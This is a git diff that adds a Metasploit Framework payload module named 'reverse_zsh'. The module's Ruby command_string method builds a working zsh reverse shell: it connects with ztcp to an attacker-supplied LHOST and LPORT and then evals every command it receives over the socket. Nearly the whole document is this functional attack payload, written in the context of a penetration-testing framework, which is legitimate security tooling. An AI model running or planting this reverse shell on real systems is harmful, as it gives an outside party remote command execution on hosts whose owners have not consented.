diff --git a/modules/payloads/singles/cmd/unix/reverse_zsh.rb b/modules/payloads/singles/cmd/unix/reverse_zsh.rb new file mode 100644 index 0000000000..e4547ad6f8 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_zsh.rb @@ -0,0 +1,48 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP (via Zsh)', + 'Description' => %q{ + Connect back and create a command shell via Zsh. Note: Although Zsh is often + available, please be aware it isn't usually installed by default. + }, + 'Author' => 'Doug Prostko ', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'zsh', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + return super + command_string + end + + def command_string + cmd = "zmodload zsh/net/tcp;" + cmd << "ztcp #{datastore['LHOST']} #{datastore['LPORT']};" + cmd << "while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;done;" + cmd << "ztcp -c" + cmd + end +end